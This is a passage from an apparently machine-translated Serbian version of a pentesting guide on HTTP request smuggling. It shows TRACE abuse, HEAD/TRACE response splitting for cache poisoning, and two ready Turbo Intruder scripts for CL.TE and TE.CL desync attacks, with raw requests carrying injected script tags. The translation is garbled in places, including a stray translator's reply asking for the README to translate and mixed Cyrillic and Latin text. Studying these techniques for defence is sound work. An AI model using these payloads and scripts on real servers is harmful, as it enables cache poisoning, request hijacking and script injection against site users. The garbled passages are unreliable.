Ako ovaj podmetnuti zahtev zagadi cache unos namenjen statičkom sadržaju (npr. /someimage.png), osetljivi podaci žrtve sa /private/messages mogu biti keširani pod tim unosom statičkog sadržaja. Kao posledica, napadač bi potencijalno mogao da preuzme te keširane osetljive podatke.

Abusing TRACE via HTTP Request Smuggling

In this post se sugeriše da ako server ima omogućenu metodu TRACE, može biti moguće zloupotrebiti je sa HTTP Request Smuggling. Ovo je zato što ova metoda reflektuje svaki header poslat serveru kao deo body response-a. Na primer:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Pošaljite sadržaj datoteke src/pentesting-web/http-request-smuggling/README.md koju želite da prevedem na srpski. Prevod će zadržati svu markdown/html sintaksu, code blokove, linkove i posebne tagove neprevodljivima, kao što ste naveli.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Jedan primer kako zloupotrebiti ovo ponašanje bio bi da se prvo smuggle first a HEAD request. Na ovaj request će biti odgovoreno samo sa headers od GET request-a (među njima Content-Type). I odmah posle HEAD-a smuggle a TRACE request, koji će reflektovati poslate podatke.
Pošto HEAD response sadrži Content-Length header, response of the TRACE request će biti tretiran kao body HEAD response-a, te će u odgovoru reflektovati proizvoljne podatke.
Ovaj odgovor će biti poslat narednom request-u preko konekcije, pa se ovo može iskoristiti u keširanom JS fajlu, na primer, za injektovanje proizvoljnog JS koda.

Zloupotreba TRACE путем HTTP Response Splitting

Preporučuje se da pratite this post za još jedan način zloupotrebe TRACE metode. Kao što je pomenuto, smuggling a HEAD request i a TRACE request omogućava da se kontrolišu neki reflektovani podaci u odgovoru na HEAD request. Dužina tela HEAD odgovora je u osnovi naznačena u Content-Length headeru i formirana je od odgovora na TRACE request.

Dakle, nova ideja bi bila da, poznavajući taj Content-Length i podatke iz TRACE response-a, bude moguće da TRACE response sadrži validan HTTP response posle poslednjeg bajta obuhvaćenog Content-Length-om, što napadaču omogućava potpunu kontrolu nad request-om koji će biti sledeći obrađen (što se može iskoristiti za cache poisoning).

Primer:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Generisaće ove odgovore (obratite pažnju kako HEAD odgovor ima Content-Length, zbog čega je TRACE odgovor deo HEAD tela, i kada HEAD Content-Length istekne validan HTTP odgovor je smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Weaponizacija HTTP Request Smuggling pomoću HTTP Response Desynchronisation

Пронашли сте неку HTTP Request Smuggling ranjivost и не знате како да је exploit-ујете? Испробајте следеће методе exploitation:

{{#ref}} ../http-response-smuggling-desync.md {{#endref}}

Ostale HTTP Request Smuggling технике

  • Browser HTTP Request Smuggling (Client Side)

{{#ref}} browser-http-request-smuggling.md {{#endref}}

  • Request Smuggling in HTTP/2 Downgrades

{{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}}

Turbo intruder skripte

CL.TE

Из https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Izvor: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Alati

Reference

{{#include ../../banners/hacktricks-training.md}}